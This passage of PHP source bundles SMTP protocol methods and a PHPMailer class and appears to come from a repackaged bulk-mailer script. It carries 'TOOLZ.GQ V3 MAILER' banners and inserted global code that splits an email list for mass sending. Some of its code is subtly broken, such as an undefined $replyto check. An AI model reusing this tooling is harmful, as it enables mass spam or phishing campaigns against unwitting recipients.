1162 * SMTP CODE SUCCESS: 250
1163 * SMTP CODE SUCCESS: 552,451,452
1164 * SMTP CODE SUCCESS: 500,501,502,421
1165 * @access public
1166 * @return bool
1167 */
1168 function Send($from) {
1169 $this->error = null; # so no confusion is caused
1170
1171 if(!$this->connected()) {
1172 $this->error = array(
1173 "error" => "Called Send() without being connected");
1174 return false;
1175 }
1176
1177 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1178
1179 $rply = $this->get_lines();
1180 $code = substr($rply,0,3);
1181
1182 if($this->do_debug >= 2) {
1183 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1184 }
1185
1186 if($code != 250) {
1187 $this->error =
1188 array("error" => "SEND not accepted from server",
1189 "smtp_code" => $code,
1190 "smtp_msg" => substr($rply,4));
1191 if($this->do_debug >= 1) {
1192 echo "SMTP -> ERROR: " . $this->error["error"] .
1193 ": " . $rply . $this->CRLF;
1194 }
1195 return false;
1196 }
1197 return true;
1198 }
1199
1200 /**
1201 * Starts a mail transaction from the email address specified in
1202 * $from. Returns true if successful or false otherwise. If True
1203 * the mail transaction is started and then one or more Recipient
1204 * commands may be called followed by a Data command. This command
1205 * will send the message to the users terminal if they are logged
1206 * in and send them an email.
1207 *
1208 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1209 *
1210 * SMTP CODE SUCCESS: 250
1211 * SMTP CODE SUCCESS: 552,451,452
1212 * SMTP CODE SUCCESS: 500,501,502,421
1213 * @access public
1214 * @return bool
1215 */
1216 function SendAndMail($from) {
1217 $this->error = null; # so no confusion is caused
1218
1219 if(!$this->connected()) {
1220 $this->error = array(
1221 "error" => "Called SendAndMail() without being connected");
1222 return false;
1223 }
1224
1225 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1226
1227 $rply = $this->get_lines();
1228 $code = substr($rply,0,3);
1229
1230 if($this->do_debug >= 2) {
1231 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1232 }
1233
1234 if($code != 250) {
1235 $this->error =
1236 array("error" => "SAML not accepted from server",
1237 "smtp_code" => $code,
1238 "smtp_msg" => substr($rply,4));
1239 if($this->do_debug >= 1) {
1240 echo "SMTP -> ERROR: " . $this->error["error"] .
1241 ": " . $rply . $this->CRLF;
1242 }
1243 return false;
1244 }
1245 return true;
1246 }
1247
1248 /**
1249 * Starts a mail transaction from the email address specified in
1250 * $from. Returns true if successful or false otherwise. If True
1251 * the mail transaction is started and then one or more Recipient
1252 * commands may be called followed by a Data command. This command
1253 * will send the message to the users terminal if they are logged
1254 * in or mail it to them if they are not.
1255 *
1256 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1257 *
1258 * SMTP CODE SUCCESS: 250
1259 * SMTP CODE SUCCESS: 552,451,452
1260 * SMTP CODE SUCCESS: 500,501,502,421
1261 * @access public
1262 * @return bool
1263 */
1264 function SendOrMail($from) {
1265 $this->error = null; # so no confusion is caused
1266
1267 if(!$this->connected()) {
1268 $this->error = array(
1269 "error" => "Called SendOrMail() without being connected");
1270 return false;
1271 }
1272
1273 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1274
1275 $rply = $this->get_lines();
1276 $code = substr($rply,0,3);
1277
1278 if($this->do_debug >= 2) {
1279 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1280 }
1281
1282 if($code != 250) {
1283 $this->error =
1284 array("error" => "SOML not accepted from server",
1285 "smtp_code" => $code,
1286 "smtp_msg" => substr($rply,4));
1287 if($this->do_debug >= 1) {
1288 echo "SMTP -> ERROR: " . $this->error["error"] .
1289 ": " . $rply . $this->CRLF;
1290 }
1291 return false;
1292 }
1293 return true;
1294 }
1295
1296 /**
1297 * This is an optional command for SMTP that this class does not
1298 * support. This method is here to make the RFC821 Definition
1299 * complete for this class and __may__ be implimented in the future
1300 *
1301 * Implements from rfc 821: TURN <CRLF>
1302 *
1303 * SMTP CODE SUCCESS: 250
1304 * SMTP CODE FAILURE: 502
1305 * SMTP CODE ERROR : 500, 503
1306 * @access public
1307 * @return bool
1308 */
1309 function Turn() {
1310 $this->error = array("error" => "This method, TURN, of the SMTP ".
1311 "is not implemented");
1312 if($this->do_debug >= 1) {
1313 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1314 }
1315 return false;
1316 }
1317
1318 /**
1319 * Verifies that the name is recognized by the server.
1320 * Returns false if the name could not be verified otherwise
1321 * the response from the server is returned.
1322 *
1323 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1324 *
1325 * SMTP CODE SUCCESS: 250,251
1326 * SMTP CODE FAILURE: 550,551,553
1327 * SMTP CODE ERROR : 500,501,502,421
1328 * @access public
1329 * @return int
1330 */
1331 function Verify($name) {
1332 $this->error = null; # so no confusion is caused
1333
1334 if(!$this->connected()) {
1335 $this->error = array(
1336 "error" => "Called Verify() without being connected");
1337 return false;
1338 }
1339
1340 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1341
1342 $rply = $this->get_lines();
1343 $code = substr($rply,0,3);
1344
1345 if($this->do_debug >= 2) {
1346 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1347 }
1348
1349 if($code != 250 && $code != 251) {
1350 $this->error =
1351 array("error" => "VRFY failed on name '$name'",
1352 "smtp_code" => $code,
1353 "smtp_msg" => substr($rply,4));
1354 if($this->do_debug >= 1) {
1355 echo "SMTP -> ERROR: " . $this->error["error"] .
1356 ": " . $rply . $this->CRLF;
1357 }
1358 return false;
1359 }
1360 return $rply;
1361 }
1362
1363 /*******************************************************************
1364 * INTERNAL FUNCTIONS *
1365 ******************************************************************/
1366
1367 /**
1368 * Read in as many lines as possible
1369 * either before eof or socket timeout occurs on the operation.
1370 * With SMTP we can tell if we have more lines to read if the
1371 * 4th character is '-' symbol. If it is a space then we don't
1372 * need to read anything else.
1373 * @access private
1374 * @return string
1375 */
1376 function get_lines() {
1377 $data = "";
1378 while($str = @fgets($this->smtp_conn,515)) {
1379 if($this->do_debug >= 4) {
1380 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1381 $this->CRLF;
1382 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1383 $this->CRLF;
1384 }
1385 $data .= $str;
1386 if($this->do_debug >= 4) {
1387 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1388 }
1389 # if the 4th character is a space then we are done reading
1390 # so just break the loop
1391 if(substr($str,3,1) == " ") { break; }
1392 }
1393 return $data;
1394 }
1395
1396}
1397 // Here Bitchz Hilmy
1398
1399$allemails = split("\n", $emaillist);
1400$numemails = count($allemails);
1401
1402class PHPMailer {
1403
1404 /////////////////////////////////////////////////
1405 // PROPERTIES, PUBLIC
1406 /////////////////////////////////////////////////
1407
1408 /**
1409 * Email priority (1 = High, 3 = Normal, 5 = low).
1410 * @var int
1411 */
1412 var $Priority = 3;
1413
1414 /**
1415 * Sets the CharSet of the message.
1416 * @var string
1417 */
1418 var $CharSet = 'us-ascii';
1419
1420 /**
1421 * Sets the Content-type of the message.
1422 * @var string
1423 */
1424 var $ContentType = 'text/plain';
1425
1426 /**
1427 * Sets the Encoding of the message. Options for this are "8bit",
1428 * "7bit", "binary", "base64", and "quoted-printable".
1429
1430 * @var string
1431 */
1432 var $Encoding = 'quoted-printable';
1433
1434 /**
1435 * Holds the most recent mailer error message.
1436 * @var string
1437 */
1438 var $ErrorInfo = '';
1439
1440 /**
1441 * Sets the From email address for the message.
1442 * @var string
1443 */
1444 var $From = '';
1445
1446 /**
1447 * Sets the From name of the message.
1448 * @var string
1449 */
1450 var $FromName = '';
1451
1452 /**
1453 * Sets the Sender email (Return-Path) of the message. If not empty,
1454 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1455 * @var string
1456 */
1457 var $Sender = '';
1458
1459 /**
1460 * Sets the Subject of the message.
1461 * @var string
1462 */
1463 var $Subject = '';
1464
1465 /**
1466 * Sets the Body of the message. This can be either an HTML or text body.
1467 * If HTML then run IsHTML(true).
1468 * @var string
1469 */
1470 var $Body = '';
1471
1472 /**
1473 * Sets the text-only body of the message. This automatically sets the
1474 * email to multipart/alternative. This body can be read by mail
1475 * clients that do not have HTML email capability such as mutt. Clients
1476 * that can read HTML will view the normal Body.
1477 * @var string
1478 */
1479 var $AltBody = '';
1480
1481 /**
1482 * Sets word wrapping on the body of the message to a given number of
1483 * characters.
1484 * @var int
1485 */
1486 var $WordWrap = 0;
1487
1488 /**
1489 * Method to send mail: ("mail", "sendmail", or "smtp").
1490 * @var string
1491 */
1492 var $Mailer = 'mail';
1493
1494 /**
1495 * Sets the path of the sendmail program.
1496 * @var string
1497 */
1498 var $Sendmail = '/usr/sbin/sendmail';
1499
1500 /**
1501 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1502 * is in a different directory than the PHP include path.
1503 * @var string
1504 */
1505 var $PluginDir = '';
1506
1507 /**
1508 * Holds PHPMailer version.
1509 * @var string
1510 */
1511 var $Version = "";
1512
1513 /**
1514 * Sets the email address that a reading confirmation will be sent.
1515 * @var string
1516 */
1517 var $ConfirmReadingTo = '';
1518
1519 /**
1520 * Sets the hostname to use in Message-Id and Received headers
1521 * and as default HELO string. If empty, the value returned
1522 * by SERVER_NAME is used or 'localhost.localdomain'.
1523 * @var string
1524 */
1525 var $Hostname = '';
1526
1527 /**
1528 * Sets the message ID to be used in the Message-Id header.
1529 * If empty, a unique id will be generated.
1530 * @var string
1531 */
1532 var $MessageID = '';
1533
1534 /////////////////////////////////////////////////
1535 // PROPERTIES FOR SMTP
1536 /////////////////////////////////////////////////
1537
1538 /**
1539 * Sets the SMTP hosts. All hosts must be separated by a
1540 * semicolon. You can also specify a different port
1541 * for each host by using this format: [hostname:port]
1542 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1543 * Hosts will be tried in order.
1544 * @var string
1545 */
1546 var $Host = 'localhost';
1547
1548 /**
1549 * Sets the default SMTP server port.
1550 * @var int
1551 */
1552 var $Port = 25;
1553
1554 /**
1555 * Sets the SMTP HELO of the message (Default is $Hostname).
1556 * @var string
1557 */
1558 var $Helo = '';
1559
1560 /**
1561 * Sets connection prefix.
1562 * Options are "", "ssl" or "tls"
1563 * @var string
1564 */
1565 var $SMTPSecure = "";
1566/////////////////////////////////////////////////////////////////////////////////////////
1567/////////////////////////////////////////////////////////////////////////////////////////
1568
1569///////////////////////// WWW.TOOLZ.GQ V3 MAILER //////////////////////////////////
1570
1571/////////////////////////////////////////////////////////////////////////////////////////
1572/////////////////////////////////////////////////////////////////////////////////////////
1573
1574 /**
1575 * Sets SMTP authentication. Utilizes the Username and Password variables.
1576 * @var bool
1577 */
1578 var $SMTPAuth = false;
1579
1580 /**
1581 * Sets SMTP username.
1582 * @var string
1583 */
1584 var $Username = '';
1585
1586 /**
1587 * Sets SMTP password.
1588 * @var string
1589 */
1590 var $Password = '';
1591
1592 /**
1593 * Sets the SMTP server timeout in seconds. This function will not
1594 * work with the win32 version.
1595 * @var int
1596 */
1597 var $Timeout = 10;
1598
1599 /**
1600 * Sets SMTP class debugging on or off.
1601 * @var bool
1602 */
1603 var $SMTPDebug = false;
1604
1605 /**
1606 * Prevents the SMTP connection from being closed after each mail
1607 * sending. If this is set to true then to close the connection
1608 * requires an explicit call to SmtpClose().
1609 * @var bool
1610 */
1611 var $SMTPKeepAlive = false;
1612
1613 /**
1614 * Provides the ability to have the TO field process individual
1615 * emails, instead of sending to entire TO addresses
1616 * @var bool
1617 */
1618 var $SingleTo = false;
1619/////////////////////////////////////////////////////////////////////////////////////////
1620/////////////////////////////////////////////////////////////////////////////////////////
1621
1622///////////////////////// WWW.TOOLZ.GQ V3 MAILER //////////////////////////////////
1623
1624/////////////////////////////////////////////////////////////////////////////////////////
1625/////////////////////////////////////////////////////////////////////////////////////////
1626 /////////////////////////////////////////////////
1627 // PROPERTIES, PRIVATE
1628 /////////////////////////////////////////////////
1629
1630 var $smtp = NULL;
1631 var $to = array();
1632 var $cc = array();
1633 var $bcc = array();
1634 var $ReplyTo = array();
1635 var $attachment = array();
1636 var $CustomHeader = array();
1637 var $message_type = '';
1638 var $boundary = array();
1639 var $language = array();
1640 var $error_count = 0;
1641 var $LE = "\n";
1642 var $sign_key_file = "";
1643 var $sign_key_pass = "";
1644
1645 /////////////////////////////////////////////////
1646 // METHODS, VARIABLES
1647 /////////////////////////////////////////////////
1648
1649 /**
1650 * Sets message type to HTML.
1651 * @param bool $bool
1652 * @return void
1653 */
1654 function IsHTML($bool) {
1655 if($bool == true) {
1656 $this->ContentType = 'text/html';
1657 } else {
1658 $this->ContentType = 'text/plain';
1659 }
1660 }
1661
1662 /**
1663 * Sets Mailer to send message using SMTP.
1664 * @return void
1665 */
1666 function IsSMTP() {
1667 $this->Mailer = 'smtp';
1668 }
1669
1670 /**
1671 * Sets Mailer to send message using PHP mail() function.
1672 * @return void
1673 */
1674 function IsMail() {
1675 $this->Mailer = 'mail';
1676 }
1677
1678 /**
1679 * Sets Mailer to send message using the $Sendmail program.
1680 * @return void
1681 */
1682 function IsSendmail() {
1683 $this->Mailer = 'sendmail';
1684 }
1685
1686 /**
1687 * Sets Mailer to send message using the qmail MTA.
1688 * @return void
1689 */
1690 function IsQmail() {
1691 $this->Sendmail = '/var/qmail/bin/sendmail';
1692 $this->Mailer = 'sendmail';
1693 }
1694
1695 /////////////////////////////////////////////////
1696 // METHODS, RECIPIENTS
1697 /////////////////////////////////////////////////
1698
1699 /**
1700 * Adds a "To" address.
1701 * @param string $address
1702 * @param string $name
1703 * @return void
1704 */
1705 function AddAddress($address, $name = '') {
1706 $cur = count($this->to);
1707 $this->to[$cur][0] = trim($address);
1708 $this->to[$cur][1] = $name;
1709 }
1710
1711 /**
1712 * Adds a "Cc" address. Note: this function works
1713 * with the SMTP mailer on win32, not with the "mail"
1714 * mailer.
1715 * @param string $address
1716 * @param string $name
1717 * @return void
1718 */
1719 function AddCC($address, $name = '') {
1720 $cur = count($this->cc);
1721 $this->cc[$cur][0] = trim($address);
1722 $this->cc[$cur][1] = $name;
1723 }
1724
1725 /**
1726 * Adds a "Bcc" address. Note: this function works
1727 * with the SMTP mailer on win32, not with the "mail"
1728 * mailer.
1729 * @param string $address
1730 * @param string $name
1731 * @return void
1732 */
1733 function AddBCC($address, $name = '') {
1734 $cur = count($this->bcc);
1735 $this->bcc[$cur][0] = trim($address);
1736 $this->bcc[$cur][1] = $name;
1737 }
1738
1739 /**
1740 * Adds a "Reply-To" address.
1741 * @param string $address
1742 * @param string $name
1743 * @return void
1744 */
1745 function AddReplyTo($address, $name = '') {
1746 $cur = count($this->ReplyTo);
1747 $this->ReplyTo[$cur][0] = trim($address);
1748 $this->ReplyTo[$cur][1] = $name;
1749 }
1750
1751 /////////////////////////////////////////////////
1752 // METHODS, MAIL SENDING
1753 /////////////////////////////////////////////////
1754
1755 /**
1756 * Creates message and assigns Mailer. If the message is
1757 * not sent successfully then it returns false. Use the ErrorInfo
1758 * variable to view description of the error.
1759 * @return bool
1760 */
1761 function Send() {
1762 $header = '';
1763 $body = '';
1764 $result = true;
1765
1766 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1767 $this->SetError($this->Lang('provide_address'));
1768 return false;
1769 }
1770
1771 /* Set whether the message is multipart/alternative */
1772 if(!empty($this->AltBody)) {
1773 $this->ContentType = 'multipart/alternative';
1774 }
1775
1776 $this->error_count = 0; // reset errors
1777 $this->SetMessageType();
1778 $header .= $this->CreateHeader();
1779 $body = $this->CreateBody();
1780
1781 if($body == '') {
1782 return false;
1783 }
1784
1785 /* Choose the mailer */
1786 switch($this->Mailer) {
1787 case 'sendmail':
1788 $result = $this->SendmailSend($header, $body);
1789 break;
1790 case 'smtp':
1791 $result = $this->SmtpSend($header, $body);
1792 break;
1793 case 'mail':
1794 $result = $this->MailSend($header, $body);
1795 break;
1796 default:
1797 $result = $this->MailSend($header, $body);
1798 break;
1799 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1800 //$result = false;
1801 //break;
1802 }
1803
1804 return $result;
1805 }
1806
1807 /**
1808 * Sends mail using the $Sendmail program.
1809 * @access private
1810 * @return bool
1811 */
1812 function SendmailSend($header, $body) {
1813 if ($this->Sender != '') {
1814 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1815 } else {
1816 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1817 }
1818
1819 if(!@$mail = popen($sendmail, 'w')) {
1820 $this->SetError($this->Lang('execute') . $this->Sendmail);
1821 return false;
1822 }
1823
1824 fputs($mail, $header);
1825 fputs($mail, $body);
1826
1827 $result = pclose($mail);
1828 if (version_compare(phpversion(), '4.2.3') == -1) {
1829 $result = $result >> 8 & 0xFF;
1830 }
1831 if($result != 0) {
1832 $this->SetError($this->Lang('execute') . $this->Sendmail);
1833 return false;
1834 }
1835 return true;
1836 }
1837
1838 /**
1839 * Sends mail using the PHP mail() function.
1840 * @access private
1841 * @return bool
1842 */
1843 function MailSend($header, $body) {
1844
1845 $to = '';
1846 for($i = 0; $i < count($this->to); $i++) {
1847 if($i != 0) { $to .= ', '; }
1848 $to .= $this->AddrFormat($this->to[$i]);
1849 }
1850
1851 $toArr = split(',', $to);
1852
1853 $params = sprintf("-oi -f %s", $this->Sender);
1854 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1855 $old_from = ini_get('sendmail_from');
1856 ini_set('sendmail_from', $this->Sender);
1857 if ($this->SingleTo === true && count($toArr) > 1) {
1858 foreach ($toArr as $key => $val) {
1859 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1860 }
1861 } else {
1862 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1863 }
1864 } else {
1865 if ($this->SingleTo === true && count($toArr) > 1) {
1866 foreach ($toArr as $key => $val) {
1867 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1868 }
1869 } else {
1870 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1871 }
1872 }
1873
1874 if (isset($old_from)) {
1875 ini_set('sendmail_from', $old_from);
1876 }
1877
1878 if(!$rt) {
1879 $this->SetError($this->Lang('instantiate'));
1880 return false;
1881 }
1882
1883 return true;
1884 }
1885
1886 /**
1887 * Sends mail via SMTP using PhpSMTP (Author:
1888 * Chris Ryan). Returns bool. Returns false if there is a
1889 * bad MAIL FROM, RCPT, or DATA input.
1890 * @access private
1891 * @return bool
1892 */
1893 function SmtpSend($header, $body) {
1894 $error = '';
1895 $bad_rcpt = array();
1896
1897 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1898 return false;
1899 }
1900
1901 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1902 if(!$this->smtp->Mail($smtp_from)) {
1903 $error = $this->Lang('from_failed') . $smtp_from;
1904 $this->SetError($error);
1905 $this->smtp->Reset();
1906 return false;
1907 }
1908
1909 /* Attempt to send attach all recipients */
1910 for($i = 0; $i < count($this->to); $i++) {
1911 if(!$this->smtp->Recipient($this->to[$i][0])) {
1912 $bad_rcpt[] = $this->to[$i][0];
1913 }
1914 }
1915 for($i = 0; $i < count($this->cc); $i++) {
1916 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1917 $bad_rcpt[] = $this->cc[$i][0];
1918 }
1919 }
1920 for($i = 0; $i < count($this->bcc); $i++) {
1921 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1922 $bad_rcpt[] = $this->bcc[$i][0];
1923 }
1924 }
1925
1926 if(count($bad_rcpt) > 0) { // Create error message
1927 for($i = 0; $i < count($bad_rcpt); $i++) {
1928 if($i != 0) {
1929 $error .= ', ';
1930 }
1931 $error .= $bad_rcpt[$i];
1932
1933 }
1934 $error = $this->Lang('recipients_failed') . $error;
1935 $this->SetError($error);
1936 $this->smtp->Reset();
1937 return false;
1938 }
1939
1940 if(!$this->smtp->Data($header . $body)) {
1941 $this->SetError($this->Lang('data_not_accepted'));
1942 $this->smtp->Reset();
1943 return false;
1944 }
1945 if($this->SMTPKeepAlive == true) {
1946 $this->smtp->Reset();
1947 } else {
1948 $this->SmtpClose();
1949 }
1950
1951 return true;
1952 }
1953
1954 /**
1955 * Initiates a connection to an SMTP server. Returns false if the
1956 * operation failed.
1957 * @access private
1958 * @return bool
1959 */
1960 function SmtpConnect() {
1961 if($this->smtp == NULL) {
1962 $this->smtp = new SMTP();
1963 }
1964
1965 $this->smtp->do_debug = $this->SMTPDebug;
1966 $hosts = explode(';', $this->Host);
1967 $index = 0;
1968 $connection = ($this->smtp->Connected());
1969
1970 /* Retry while there is no connection */
1971 while($index < count($hosts) && $connection == false) {
1972 $hostinfo = array();
1973 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1974 $host = $hostinfo[1];
1975 $port = $hostinfo[2];
1976 } else {
1977 $host = $hosts[$index];
1978 $port = $this->Port;
1979 }
1980
1981 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1982 if ($this->Helo != '') {
1983 $this->smtp->Hello($this->Helo);
1984 } else {
1985 $this->smtp->Hello($this->ServerHostname());
1986 }
1987
1988 $connection = true;
1989 if($this->SMTPAuth) {
1990 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1991 $this->SetError($this->Lang('authenticate'));
1992 $this->smtp->Reset();
1993 $connection = false;
1994 }
1995 }
1996 }
1997 $index++;
1998 }
1999 if(!$connection) {
2000 $this->SetError($this->Lang('connect_host'));
2001 }
2002
2003 return $connection;
2004 }
2005
2006 /**
2007 * Closes the active SMTP session if one exists.
2008 * @return void
2009 */
2010 function SmtpClose() {
2011 if($this->smtp != NULL) {
2012 if($this->smtp->Connected()) {
2013 $this->smtp->Quit();
2014 $this->smtp->Close();
2015 }
2016 }
2017 }
2018
2019 /**
2020 * Sets the language for all class error messages. Returns false
2021 * if it cannot load the language file. The default language type
2022 * is English.
2023 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2024 * @param string $lang_path Path to the language file directory
2025 * @access public
2026 * @return bool
2027 */
2028 function SetLanguage($lang_type, $lang_path = 'language/') {
2029 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2030 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2031 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2032 include($lang_path.'phpmailer.lang-en.php');
2033 } else {
2034 $this->SetError('Could not load language file');
2035 return false;
2036 }
2037 $this->language = $PHPMAILER_LANG;
2038
2039 return true;
2040 }
2041
2042 /////////////////////////////////////////////////
2043 // METHODS, MESSAGE CREATION
2044 /////////////////////////////////////////////////
2045
2046 /**
2047 * Creates recipient headers.
2048 * @access private
2049 * @return string
2050 */
2051 function AddrAppend($type, $addr) {
2052 $addr_str = $type . ': ';
2053 $addr_str .= $this->AddrFormat($addr[0]);
2054 if(count($addr) > 1) {
2055 for($i = 1; $i < count($addr); $i++) {
2056 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2057 }
2058 }
2059 $addr_str .= $this->LE;
2060
2061 return $addr_str;
2062 }
2063
2064 /**
2065 * Formats an address correctly.
2066 * @access private
2067 * @return string
2068 */
2069 function AddrFormat($addr) {
2070 if(empty($addr[1])) {
2071 $formatted = $this->SecureHeader($addr[0]);
2072 } else {
2073 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2074 }
2075
2076 return $formatted;
2077 }
2078
2079 function WrapText($message, $length, $qp_mode = false) {
2080 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2081 // If utf-8 encoding is used, we will need to make sure we don't
2082 // split multibyte characters when we wrap
2083 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2084
2085 $message = $this->FixEOL($message);
2086 if (substr($message, -1) == $this->LE) {
2087 $message = substr($message, 0, -1);
2088 }
2089
2090 $line = explode($this->LE, $message);
2091 $message = '';
2092 for ($i=0 ;$i < count($line); $i++) {
2093 $line_part = explode(' ', $line[$i]);
2094 $buf = '';
2095 for ($e = 0; $e<count($line_part); $e++) {
2096 $word = $line_part[$e];
2097 if ($qp_mode and (strlen($word) > $length)) {
2098 $space_left = $length - strlen($buf) - 1;
2099 if ($e != 0) {
2100 if ($space_left > 20) {
2101 $len = $space_left;
2102 if ($is_utf8) {
2103 $len = $this->UTF8CharBoundary($word, $len);
2104 } elseif (substr($word, $len - 1, 1) == "=") {
2105 $len--;
2106 } elseif (substr($word, $len - 2, 1) == "=") {
2107 $len -= 2;
2108 }
2109 $part = substr($word, 0, $len);
2110 $word = substr($word, $len);
2111 $buf .= ' ' . $part;
2112 $message .= $buf . sprintf("=%s", $this->LE);
2113 } else {
2114 $message .= $buf . $soft_break;
2115 }
2116 $buf = '';
2117 }
2118 while (strlen($word) > 0) {
2119 $len = $length;
2120 if ($is_utf8) {
2121 $len = $this->UTF8CharBoundary($word, $len);
2122 } elseif (substr($word, $len - 1, 1) == "=") {
2123 $len--;
2124 } elseif (substr($word, $len - 2, 1) == "=") {
2125 $len -= 2;
2126 }
2127 $part = substr($word, 0, $len);
2128 $word = substr($word, $len);
2129
2130 if (strlen($word) > 0) {
2131 $message .= $part . sprintf("=%s", $this->LE);
2132 } else {
2133 $buf = $part;
2134 }
2135 }
2136 } else {
2137 $buf_o = $buf;
2138 $buf .= ($e == 0) ? $word : (' ' . $word);
2139
2140 if (strlen($buf) > $length and $buf_o != '') {
2141 $message .= $buf_o . $soft_break;
2142 $buf = $word;
2143 }
2144 }
2145 }
2146 $message .= $buf . $this->LE;
2147 }
2148
2149 return $message;
2150 }
2151
2152 /**
2153 * Finds last character boundary prior to maxLength in a utf-8
2154 * quoted (printable) encoded string.
2155 * Original written by Colin Brown.
2156 * @access private
2157 * @param string $encodedText utf-8 QP text
2158 * @param int $maxLength find last character boundary prior to this length
2159 * @return int
2160 */
2161 function UTF8CharBoundary($encodedText, $maxLength) {
2162 $foundSplitPos = false;
2163 $lookBack = 3;
2164 while (!$foundSplitPos) {
2165 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2166 $encodedCharPos = strpos($lastChunk, "=");
2167 if ($encodedCharPos !== false) {
2168 // Found start of encoded character byte within $lookBack block.
2169 // Check the encoded byte value (the 2 chars after the '=')
2170 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2171 $dec = hexdec($hex);
2172 if ($dec < 128) { // Single byte character.
2173 // If the encoded char was found at pos 0, it will fit
2174 // otherwise reduce maxLength to start of the encoded char
2175 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2176 $maxLength - ($lookBack - $encodedCharPos);
2177 $foundSplitPos = true;
2178 } elseif ($dec >= 192) { // First byte of a multi byte character
2179 // Reduce maxLength to split at start of character
2180 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2181 $foundSplitPos = true;
2182 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2183 $lookBack += 3;
2184 }
2185 } else {
2186 // No encoded character found
2187 $foundSplitPos = true;
2188 }
2189 }
2190 return $maxLength;
2191 }
2192
2193 /**
2194 * Set the body wrapping.
2195 * @access private
2196 * @return void
2197 */
2198 function SetWordWrap() {
2199 if($this->WordWrap < 1) {
2200 return;
2201 }
2202
2203 switch($this->message_type) {
2204 case 'alt':
2205 /* fall through */
2206 case 'alt_attachments':
2207 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2208 break;
2209 default:
2210 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2211 break;
2212 }
2213 }
2214
2215 /**
2216 * Assembles message header.
2217 * @access private
2218 * @return string
2219 */
2220 function CreateHeader() {
2221 $result = '';
2222
2223 /* Set the boundaries */
2224 $uniq_id = md5(uniqid(time()));
2225 $this->boundary[1] = 'b1_' . $uniq_id;
2226 $this->boundary[2] = 'b2_' . $uniq_id;
2227
2228 $result .= $this->HeaderLine('Date', $this->RFCDate());
2229 if($this->Sender == '') {
2230 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2231 } else {
2232 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2233 }
2234
2235 /* To be created automatically by mail() */
2236 if($this->Mailer != 'mail') {
2237 if(count($this->to) > 0) {
2238 $result .= $this->AddrAppend('To', $this->to);
2239 } elseif (count($this->cc) == 0) {
2240 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2241 }
2242 if(count($this->cc) > 0) {
2243 $result .= $this->AddrAppend('Cc', $this->cc);
2244 }
2245 }
2246
2247 $from = array();
2248 $from[0][0] = trim($this->From);
2249 $from[0][1] = $this->FromName;
2250 $result .= $this->AddrAppend('From', $from);
2251
2252 /* sendmail and mail() extract Cc from the header before sending */
2253 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2254 $result .= $this->AddrAppend('Cc', $this->cc);
2255 }
2256
2257 /* sendmail and mail() extract Bcc from the header before sending */
2258 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2259 $result .= $this->AddrAppend('Bcc', $this->bcc);
2260 }
2261 if($replyto != "")
2262 {
2263 if(count($this->ReplyTo) > 0) {
2264 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2265 }
2266 }
2267 /* mail() sets the subject itself */
2268 if($this->Mailer != 'mail') {
